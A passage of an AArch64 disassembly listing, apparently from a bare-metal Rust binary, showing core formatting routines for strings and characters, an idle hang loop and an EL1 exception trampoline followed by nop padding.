833d8: aa0d03f6 mov x22, x13
833dc: f9400d08 ldr x8, [x8, #24]
833e0: 8b180121 add x1, x9, x24
833e4: d63f0100 blr x8
833e8: f0000018 adrp x24, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
833ec: 91283b18 add x24, x24, #0xa0e
833f0: 36000100 tbz w0, #0, 83410 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3e0>
833f4: 17ffff1e b 8306c <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3c>
833f8: 2a1f03f3 mov w19, wzr
833fc: 2a1703e1 mov w1, w23
83400: f9401fe2 ldr x2, [sp, #56]
83404: aa1403e0 mov x0, x20
83408: d63f0040 blr x2
8340c: 3707e300 tbnz w0, #0, 8306c <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3c>
83410: 2a1303e8 mov w8, w19
83414: 52800033 mov w19, #0x1 // #1
83418: 2a0803e8 mov w8, w8
8341c: 2a1d03e1 mov w1, w29
83420: 10fffec9 adr x9, 833f8 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3c8>
83424: 38686b8a ldrb w10, [x28, x8]
83428: 8b0a0929 add x9, x9, x10, lsl #2
8342c: d61f0120 br x9
83430: d3609f28 ubfx x8, x25, #32, #8
83434: 10000089 adr x9, 83444 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x414>
83438: 38686b0a ldrb w10, [x24, x8]
8343c: 8b0a0929 add x9, x9, x10, lsl #2
83440: d61f0120 br x9
83444: 9258df39 and x25, x25, #0xffffff00ffffffff
83448: 52800073 mov w19, #0x3 // #3
8344c: 52800fa1 mov w1, #0x7d // #125
83450: 17ffffec b 83400 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3d0>
83454: 9258df28 and x8, x25, #0xffffff00ffffffff
83458: 52800073 mov w19, #0x3 // #3
8345c: b2600519 orr x25, x8, #0x300000000
83460: 52800ea1 mov w1, #0x75 // #117
83464: 17ffffe7 b 83400 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3d0>
83468: 531e0b68 ubfiz w8, w27, #2, #3
8346c: 52800ae9 mov w9, #0x57 // #87
83470: 5280060a mov w10, #0x30 // #48
83474: 1ac82728 lsr w8, w25, w8
83478: 12000d08 and w8, w8, #0xf
8347c: 7100291f cmp w8, #0xa
83480: 1a893149 csel w9, w10, w9, cc // cc = lo, ul, last
83484: 0b080121 add w1, w9, w8
83488: b40001db cbz x27, 834c0 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x490>
8348c: d100077b sub x27, x27, #0x1
83490: 52800073 mov w19, #0x3 // #3
83494: 17ffffdb b 83400 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3d0>
83498: 9258df28 and x8, x25, #0xffffff00ffffffff
8349c: 52800073 mov w19, #0x3 // #3
834a0: b25f0119 orr x25, x8, #0x200000000
834a4: 52800f61 mov w1, #0x7b // #123
834a8: 17ffffd6 b 83400 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3d0>
834ac: 9258df28 and x8, x25, #0xffffff00ffffffff
834b0: 52800073 mov w19, #0x3 // #3
834b4: b25e0119 orr x25, x8, #0x400000000
834b8: 2a1d03e1 mov w1, w29
834bc: 17ffffd1 b 83400 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3d0>
834c0: 9258df28 and x8, x25, #0xffffff00ffffffff
834c4: 52800073 mov w19, #0x3 // #3
834c8: b2600119 orr x25, x8, #0x100000000
834cc: 17ffffcd b 83400 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3d0>
834d0: b9401fe8 ldr w8, [sp, #28]
834d4: 7102011f cmp w8, #0x80
834d8: 54000102 b.cs 834f8 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x4c8> // b.hs, b.nlast
834dc: f94017eb ldr x11, [sp, #40]
834e0: f000000c adrp x12, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
834e4: f9400be9 ldr x9, [sp, #16]
834e8: 52800028 mov w8, #0x1 // #1
834ec: 9127c18c add x12, x12, #0x9f0
834f0: aa1603ea mov x10, x22
834f4: 1400000d b 83528 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x4f8>
834f8: f94017eb ldr x11, [sp, #40]
834fc: f000000c adrp x12, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
83500: f9400be9 ldr x9, [sp, #16]
83504: 9127c18c add x12, x12, #0x9f0
83508: aa1603ea mov x10, x22
8350c: 7120011f cmp w8, #0x800
83510: 54000062 b.cs 8351c <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x4ec> // b.hs, b.nlast
83514: 52800048 mov w8, #0x2 // #2
83518: 14000004 b 83528 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x4f8>
8351c: 7140411f cmp w8, #0x10, lsl #12
83520: 52800068 mov w8, #0x3 // #3
83524: 9a883508 cinc x8, x8, cs // cs = hs, nlast
83528: 8b1a0118 add x24, x8, x26
8352c: f94007fa ldr x26, [sp, #8]
83530: 52800e96 mov w22, #0x74 // #116
83534: cb0902a8 sub x8, x21, x9
83538: aa0a03e9 mov x9, x10
8353c: 8b0a0115 add x21, x8, x10
83540: eb1a015f cmp x10, x26
83544: 54ffdc41 b.ne 830cc <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x9c> // b.any
83548: b4000138 cbz x24, 8356c <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x53c>
8354c: eb0b031f cmp x24, x11
83550: 54000362 b.cs 835bc <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x58c> // b.hs, b.nlast
83554: f9401be8 ldr x8, [sp, #48]
83558: 38f86908 ldrsb w8, [x8, x24]
8355c: 3101051f cmn w8, #0x41
83560: 5400032d b.le 835c4 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x594>
83564: aa1803e8 mov x8, x24
83568: 14000002 b 83570 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x540>
8356c: aa1f03e8 mov x8, xzr
83570: f94013e9 ldr x9, [sp, #32]
83574: cb080162 sub x2, x11, x8
83578: f9401bea ldr x10, [sp, #48]
8357c: aa1403e0 mov x0, x20
83580: f9400d29 ldr x9, [x9, #24]
83584: 8b080141 add x1, x10, x8
83588: d63f0120 blr x9
8358c: 3707d700 tbnz w0, #0, 8306c <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x3c>
83590: aa1403e0 mov x0, x20
83594: f9401fe2 ldr x2, [sp, #56]
83598: a9494ff4 ldp x20, x19, [sp, #144]
8359c: 52800441 mov w1, #0x22 // #34
835a0: a94857f6 ldp x22, x21, [sp, #128]
835a4: a9475ff8 ldp x24, x23, [sp, #112]
835a8: a94667fa ldp x26, x25, [sp, #96]
835ac: a9456ffc ldp x28, x27, [sp, #80]
835b0: a9447bfd ldp x29, x30, [sp, #64]
835b4: 910283ff add sp, sp, #0xa0
835b8: d61f0040 br x2
835bc: aa0b03e8 mov x8, x11
835c0: 54fffd80 b.eq 83570 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E+0x540> // b.none
835c4: b0000024 adrp x4, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
835c8: f9401be0 ldr x0, [sp, #48]
835cc: 91050084 add x4, x4, #0x140
835d0: aa0b03e1 mov x1, x11
835d4: aa1803e2 mov x2, x24
835d8: aa0b03e3 mov x3, x11
835dc: 97fff9b5 bl 81cb0 <_ZN4core3str16slice_error_fail17h932895516ec20f79E>
835e0: d4200020 brk #0x1
835e4: b0000024 adrp x4, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
835e8: f9401be0 ldr x0, [sp, #48]
835ec: 9104a084 add x4, x4, #0x128
835f0: aa0b03e1 mov x1, x11
835f4: aa1803e2 mov x2, x24
835f8: aa1503e3 mov x3, x21
835fc: 97fff9ad bl 81cb0 <_ZN4core3str16slice_error_fail17h932895516ec20f79E>
83600: d4200020 brk #0x1
...
0000000000083610 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE>:
83610: d101c3ff sub sp, sp, #0x70
83614: a9064ff4 stp x20, x19, [sp, #96]
83618: aa0003f4 mov x20, x0
8361c: a9422033 ldp x19, x8, [x1, #32]
83620: 528004e1 mov w1, #0x27 // #39
83624: a9017bfd stp x29, x30, [sp, #16]
83628: a9026ffc stp x28, x27, [sp, #32]
8362c: f9401102 ldr x2, [x8, #32]
83630: aa1303e0 mov x0, x19
83634: a90367fa stp x26, x25, [sp, #48]
83638: a9045ff8 stp x24, x23, [sp, #64]
8363c: a90557f6 stp x22, x21, [sp, #80]
83640: f90007e2 str x2, [sp, #8]
83644: d63f0040 blr x2
83648: 36000140 tbz w0, #0, 83670 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x60>
8364c: a9464ff4 ldp x20, x19, [sp, #96]
83650: 52800020 mov w0, #0x1 // #1
83654: a94557f6 ldp x22, x21, [sp, #80]
83658: a9445ff8 ldp x24, x23, [sp, #64]
8365c: a94367fa ldp x26, x25, [sp, #48]
83660: a9426ffc ldp x28, x27, [sp, #32]
83664: a9417bfd ldp x29, x30, [sp, #16]
83668: 9101c3ff add sp, sp, #0x70
8366c: d65f03c0 ret
83670: b9400294 ldr w20, [x20]
83674: 51002688 sub w8, w20, #0x9
83678: 7100791f cmp w8, #0x1e
8367c: 54000188 b.hi 836ac <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x9c> // b.pmore
83680: f0000009 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
83684: 52800e95 mov w21, #0x74 // #116
83688: 91285129 add x9, x9, #0xa14
8368c: 52800057 mov w23, #0x2 // #2
83690: 1000008a adr x10, 836a0 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x90>
83694: 3868692b ldrb w11, [x9, x8]
83698: 8b0b094a add x10, x10, x11, lsl #2
8369c: d61f0140 br x10
836a0: 52800dd5 mov w21, #0x6e // #110
836a4: 52800057 mov w23, #0x2 // #2
836a8: 1400005c b 83818 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x208>
836ac: 7101729f cmp w20, #0x5c
836b0: 54000081 b.ne 836c0 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0xb0> // b.any
836b4: 52800057 mov w23, #0x2 // #2
836b8: 2a1403f5 mov w21, w20
836bc: 14000057 b 83818 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x208>
836c0: 2a1403e0 mov w0, w20
836c4: 97fff6af bl 81180 <_ZN4core7unicode12unicode_data15grapheme_extend6lookup17h4c3fb151a65b2097E>
836c8: 37000980 tbnz w0, #0, 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8>
836cc: 7140429f cmp w20, #0x10, lsl #12
836d0: 54000222 b.cs 83714 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x104> // b.hs, b.nlast
836d4: f0000001 adrp x1, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
836d8: f0000003 adrp x3, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
836dc: f0000005 adrp x5, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
836e0: 910b2021 add x1, x1, #0x2c8
836e4: 910c6863 add x3, x3, #0x31a
836e8: 9110f0a5 add x5, x5, #0x43c
836ec: 52800522 mov w2, #0x29 // #41
836f0: 52802444 mov w4, #0x122 // #290
836f4: 528026a6 mov w6, #0x135 // #309
836f8: 2a1403e0 mov w0, w20
836fc: 97fff841 bl 81800 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780>
83700: 37000760 tbnz w0, #0, 837ec <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1dc>
83704: 1400003d b 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8>
83708: 52800e55 mov w21, #0x72 // #114
8370c: 52800057 mov w23, #0x2 // #2
83710: 14000042 b 83818 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x208>
83714: 7140829f cmp w20, #0x20, lsl #12
83718: 540001c2 b.cs 83750 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x140> // b.hs, b.nlast
8371c: f0000001 adrp x1, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
83720: f0000003 adrp x3, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
83724: f0000005 adrp x5, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
83728: 9115c421 add x1, x1, #0x571
8372c: 9116f463 add x3, x3, #0x5bd
83730: 9119b0a5 add x5, x5, #0x66c
83734: 528004c2 mov w2, #0x26 // #38
83738: 528015e4 mov w4, #0xaf // #175
8373c: 52803466 mov w6, #0x1a3 // #419
83740: 2a1403e0 mov w0, w20
83744: 97fff82f bl 81800 <_ZN4core7unicode9printable5check17h12f0cec41989e29fE.llvm.2339018429671269780>
83748: 37000520 tbnz w0, #0, 837ec <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1dc>
8374c: 1400002b b 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8>
83750: 528b2448 mov w8, #0x5922 // #22818
83754: 72bfffa8 movk w8, #0xfffd, lsl #16
83758: 0b080288 add w8, w20, w8
8375c: 7100891f cmp w8, #0x22
83760: 540004c3 b.cc 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8> // b.lo, b.ul, b.last
83764: 52891968 mov w8, #0x48cb // #18635
83768: 72bfffa8 movk w8, #0xfffd, lsl #16
8376c: 0b080288 add w8, w20, w8
83770: 71002d1f cmp w8, #0xb
83774: 54000423 b.cc 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8> // b.lo, b.ul, b.last
83778: 529703c9 mov w9, #0xb81e // #47134
8377c: 121f4e88 and w8, w20, #0x1ffffe
83780: 72a00049 movk w9, #0x2, lsl #16
83784: 6b09011f cmp w8, w9
83788: 54000380 b.eq 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8> // b.none
8378c: 52862bc8 mov w8, #0x315e // #12638
83790: 72bfffa8 movk w8, #0xfffd, lsl #16
83794: 0b080288 add w8, w20, w8
83798: 7100391f cmp w8, #0xe
8379c: 540002e3 b.cc 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8> // b.lo, b.ul, b.last
837a0: 5280bc48 mov w8, #0x5e2 // #1506
837a4: 72bfffa8 movk w8, #0xfffd, lsl #16
837a8: 0b080288 add w8, w20, w8
837ac: 1138f509 add w9, w8, #0xe3d
837b0: 71307d3f cmp w9, #0xc1f
837b4: 54000223 b.cc 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8> // b.lo, b.ul, b.last
837b8: 7117891f cmp w8, #0x5e2
837bc: 540001e3 b.cc 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8> // b.lo, b.ul, b.last
837c0: 529d96a8 mov w8, #0xecb5 // #60597
837c4: 529db6a9 mov w9, #0xedb5 // #60853
837c8: 72bfff88 movk w8, #0xfffc, lsl #16
837cc: 72a00149 movk w9, #0xa, lsl #16
837d0: 0b080288 add w8, w20, w8
837d4: 6b09011f cmp w8, w9
837d8: 54000103 b.cc 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8> // b.lo, b.ul, b.last
837dc: 52803e08 mov w8, #0x1f0 // #496
837e0: 72a001c8 movk w8, #0xe, lsl #16
837e4: 6b08029f cmp w20, w8
837e8: 54000082 b.cs 837f8 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x1e8> // b.hs, b.nlast
837ec: 52800037 mov w23, #0x1 // #1
837f0: 2a1403f5 mov w21, w20
837f4: 14000009 b 83818 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x208>
837f8: 32000288 orr w8, w20, #0x1
837fc: 2a1403e9 mov w9, w20
83800: d2c000aa mov x10, #0x500000000 // #21474836480
83804: 5ac01108 clz w8, w8
83808: 53027d08 lsr w8, w8, #2
8380c: 52000916 eor w22, w8, #0x7
83810: aa0a0138 orr x24, x9, x10
83814: 52800077 mov w23, #0x3 // #3
83818: f000001a adrp x26, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
8381c: f0000019 adrp x25, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
83820: 52800b94 mov w20, #0x5c // #92
83824: 5280061b mov w27, #0x30 // #48
83828: 52800f7c mov w28, #0x7b // #123
8382c: 52800ebd mov w29, #0x75 // #117
83830: 9128cf5a add x26, x26, #0xa33
83834: 9128df39 add x25, x25, #0xa37
83838: 14000007 b 83854 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x244>
8383c: 2a1f03f7 mov w23, wzr
83840: 2a1503e1 mov w1, w21
83844: f94007e2 ldr x2, [sp, #8]
83848: aa1303e0 mov x0, x19
8384c: d63f0040 blr x2
83850: 3707efe0 tbnz w0, #0, 8364c <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x3c>
83854: 2a1703e8 mov w8, w23
83858: 52800037 mov w23, #0x1 // #1
8385c: 2a0803e8 mov w8, w8
83860: 2a1403e1 mov w1, w20
83864: 10fffec9 adr x9, 8383c <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x22c>
83868: 38686b4a ldrb w10, [x26, x8]
8386c: 8b0a0929 add x9, x9, x10, lsl #2
83870: d61f0120 br x9
83874: d3609f08 ubfx x8, x24, #32, #8
83878: 10000089 adr x9, 83888 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x278>
8387c: 38686b2a ldrb w10, [x25, x8]
83880: 8b0a0929 add x9, x9, x10, lsl #2
83884: d61f0120 br x9
83888: 9258df18 and x24, x24, #0xffffff00ffffffff
8388c: 52800077 mov w23, #0x3 // #3
83890: 52800fa1 mov w1, #0x7d // #125
83894: 17ffffec b 83844 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x234>
83898: 531e0ac8 ubfiz w8, w22, #2, #3
8389c: 52800ae9 mov w9, #0x57 // #87
838a0: 1ac82708 lsr w8, w24, w8
838a4: 12000d08 and w8, w8, #0xf
838a8: 7100291f cmp w8, #0xa
838ac: 1a893369 csel w9, w27, w9, cc // cc = lo, ul, last
838b0: 0b080121 add w1, w9, w8
838b4: b4000276 cbz x22, 83900 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x2f0>
838b8: d10006d6 sub x22, x22, #0x1
838bc: 52800077 mov w23, #0x3 // #3
838c0: 17ffffe1 b 83844 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x234>
838c4: 9258df08 and x8, x24, #0xffffff00ffffffff
838c8: 52800077 mov w23, #0x3 // #3
838cc: b25f0118 orr x24, x8, #0x200000000
838d0: 2a1c03e1 mov w1, w28
838d4: 17ffffdc b 83844 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x234>
838d8: 9258df08 and x8, x24, #0xffffff00ffffffff
838dc: 52800077 mov w23, #0x3 // #3
838e0: b2600518 orr x24, x8, #0x300000000
838e4: 2a1d03e1 mov w1, w29
838e8: 17ffffd7 b 83844 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x234>
838ec: 9258df08 and x8, x24, #0xffffff00ffffffff
838f0: 52800077 mov w23, #0x3 // #3
838f4: b25e0118 orr x24, x8, #0x400000000
838f8: 2a1403e1 mov w1, w20
838fc: 17ffffd2 b 83844 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x234>
83900: 9258df08 and x8, x24, #0xffffff00ffffffff
83904: 52800077 mov w23, #0x3 // #3
83908: b2600118 orr x24, x8, #0x100000000
8390c: 17ffffce b 83844 <_ZN41_$LT$char$u20$as$u20$core..fmt..Debug$GT$3fmt17h14840f67fe57787fE+0x234>
83910: aa1303e0 mov x0, x19
83914: f94007e2 ldr x2, [sp, #8]
83918: a9464ff4 ldp x20, x19, [sp, #96]
8391c: 528004e1 mov w1, #0x27 // #39
83920: a94557f6 ldp x22, x21, [sp, #80]
83924: a9445ff8 ldp x24, x23, [sp, #64]
83928: a94367fa ldp x26, x25, [sp, #48]
8392c: a9426ffc ldp x28, x27, [sp, #32]
83930: a9417bfd ldp x29, x30, [sp, #16]
83934: 9101c3ff add sp, sp, #0x70
83938: d61f0040 br x2
8393c: 00000000 .inst 0x00000000 ; undefined
0000000000083940 <_ZN42_$LT$$RF$T$u20$as$u20$core..fmt..Debug$GT$3fmt17h0a9ad9a917523fd9E>:
83940: a9402000 ldp x0, x8, [x0]
83944: f9400d02 ldr x2, [x8, #24]
83948: d61f0040 br x2
8394c: 00000000 .inst 0x00000000 ; undefined
0000000000083950 <_ZN44_$LT$$RF$T$u20$as$u20$core..fmt..Display$GT$3fmt17h3d5dfc3806ecfe22E>:
83950: aa0103e8 mov x8, x1
83954: a9400801 ldp x1, x2, [x0]
83958: aa0803e0 mov x0, x8
8395c: 17fffca1 b 82be0 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E>
0000000000083960 <__hang>:
83960: d503205f wfe
83964: 17ffffff b 83960 <__hang>
...
0000000000084000 <__exception_trampoline>:
84000: d102c3ff sub sp, sp, #0xb0
84004: a90007e0 stp x0, x1, [sp]
84008: a9010fe2 stp x2, x3, [sp, #16]
8400c: a90217e4 stp x4, x5, [sp, #32]
84010: a9031fe6 stp x6, x7, [sp, #48]
84014: a90427e8 stp x8, x9, [sp, #64]
84018: a9052fea stp x10, x11, [sp, #80]
8401c: a90637ec stp x12, x13, [sp, #96]
84020: a9073fee stp x14, x15, [sp, #112]
84024: a90847f0 stp x16, x17, [sp, #128]
84028: a9097bf2 stp x18, x30, [sp, #144]
8402c: d538400a mrs x10, spsr_el1
84030: d538402b mrs x11, elr_el1
84034: a90a2fea stp x10, x11, [sp, #160]
84038: d5385201 mrs x1, esr_el1
8403c: d5384002 mrs x2, spsr_el1
84040: d5386003 mrs x3, far_el1
84044: d5384024 mrs x4, elr_el1
84048: 940003ee bl 85000 <__exception_handler_default>
8404c: a94a2fea ldp x10, x11, [sp, #160]
84050: d518402b msr elr_el1, x11
84054: d518400a msr spsr_el1, x10
84058: a94007e0 ldp x0, x1, [sp]
8405c: a9410fe2 ldp x2, x3, [sp, #16]
84060: a94217e4 ldp x4, x5, [sp, #32]
84064: a9431fe6 ldp x6, x7, [sp, #48]
84068: a94427e8 ldp x8, x9, [sp, #64]
8406c: a9452fea ldp x10, x11, [sp, #80]
84070: a94637ec ldp x12, x13, [sp, #96]
84074: a9473fee ldp x14, x15, [sp, #112]
84078: a94847f0 ldp x16, x17, [sp, #128]
8407c: a9497bf2 ldp x18, x30, [sp, #144]
84080: 9102c3ff add sp, sp, #0xb0
84084: d65f03c0 ret
84088: d503201f nop
8408c: d503201f nop
84090: d503201f nop
84094: d503201f nop
84098: d503201f nop
8409c: d503201f nop
840a0: d503201f nop
840a4: d503201f nop
840a8: d503201f nop
840ac: d503201f nop
840b0: d503201f nop
840b4: d503201f nop
840b8: d503201f nop
840bc: d503201f nop
840c0: d503201f nop
840c4: d503201f nop
840c8: d503201f nop
840cc: d503201f nop
840d0: d503201f nop
840d4: d503201f nop
840d8: d503201f nop
840dc: d503201f nop
840e0: d503201f nop
840e4: d503201f nop
840e8: d503201f nop
840ec: d503201f nop
840f0: d503201f nop
840f4: d503201f nop
840f8: d503201f nop
840fc: d503201f nop
84100: d503201f nop
84104: d503201f nop
84108: d503201f nop
8410c: d503201f nop
84110: d503201f nop
84114: d503201f nop
84118: d503201f nop
8411c: d503201f nop
84120: d503201f nop
84124: d503201f nop
84128: d503201f nop
8412c: d503201f nop
84130: d503201f nop
84134: d503201f nop
84138: d503201f nop
8413c: d503201f nop
84140: d503201f nop
84144: d503201f nop
84148: d503201f nop
8414c: d503201f nop
84150: d503201f nop
84154: d503201f nop
84158: d503201f nop
8415c: d503201f nop
84160: d503201f nop
84164: d503201f nop
84168: d503201f nop
8416c: d503201f nop
84170: d503201f nop
84174: d503201f nop
84178: d503201f nop
8417c: d503201f nop
84180: d503201f nop
84184: d503201f nop
84188: d503201f nop
8418c: d503201f nop
84190: d503201f nop
84194: d503201f nop
84198: d503201f nop
8419c: d503201f nop
841a0: d503201f nop
841a4: d503201f nop
841a8: d503201f nop
841ac: d503201f nop
841b0: d503201f nop
841b4: d503201f nop
841b8: d503201f nop
841bc: d503201f nop
841c0: d503201f nop
841c4: d503201f nop
841c8: d503201f nop
841cc: d503201f nop
841d0: d503201f nop
841d4: d503201f nop
841d8: d503201f nop
841dc: d503201f nop
841e0: d503201f nop
841e4: d503201f nop
841e8: d503201f nop
841ec: d503201f nop
841f0: d503201f nop
841f4: d503201f nop
841f8: d503201f nop
841fc: d503201f nop
84200: d503201f nop
84204: d503201f nop
84208: d503201f nop
8420c: d503201f nop
84210: d503201f nop
84214: d503201f nop
84218: d503201f nop
8421c: d503201f nop
84220: d503201f nop
84224: d503201f nop
84228: d503201f nop
8422c: d503201f nop
84230: d503201f nop
84234: d503201f nop
84238: d503201f nop
8423c: d503201f nop
84240: d503201f nop
84244: d503201f nop
84248: d503201f nop
8424c: d503201f nop
84250: d503201f nop
84254: d503201f nop
84258: d503201f nop
8425c: d503201f nop
84260: d503201f nop
84264: d503201f nop
84268: d503201f nop
8426c: d503201f nop
84270: d503201f nop
84274: d503201f nop
84278: d503201f nop
8427c: d503201f nop
84280: d503201f nop
84284: d503201f nop
84288: d503201f nop
8428c: d503201f nop
84290: d503201f nop
84294: d503201f nop
84298: d503201f nop
8429c: d503201f nop
842a0: d503201f nop
842a4: d503201f nop
842a8: d503201f nop
842ac: d503201f nop
842b0: d503201f nop
842b4: d503201f nop
842b8: d503201f nop
842bc: d503201f nop
842c0: d503201f nop
842c4: d503201f nop
842c8: d503201f nop
842cc: d503201f nop
842d0: d503201f nop
842d4: d503201f nop
842d8: d503201f nop
842dc: d503201f nop
842e0: d503201f nop
842e4: d503201f nop
842e8: d503201f nop
842ec: d503201f nop
842f0: d503201f nop
842f4: d503201f nop
842f8: d503201f nop
842fc: d503201f nop
84300: d503201f nop
84304: d503201f nop
84308: d503201f nop
8430c: d503201f nop
84310: d503201f nop
84314: d503201f nop
84318: d503201f nop
8431c: d503201f nop
84320: d503201f nop
84324: d503201f nop
84328: d503201f nop
8432c: d503201f nop
84330: d503201f nop
84334: d503201f nop
84338: d503201f nop
8433c: d503201f nop
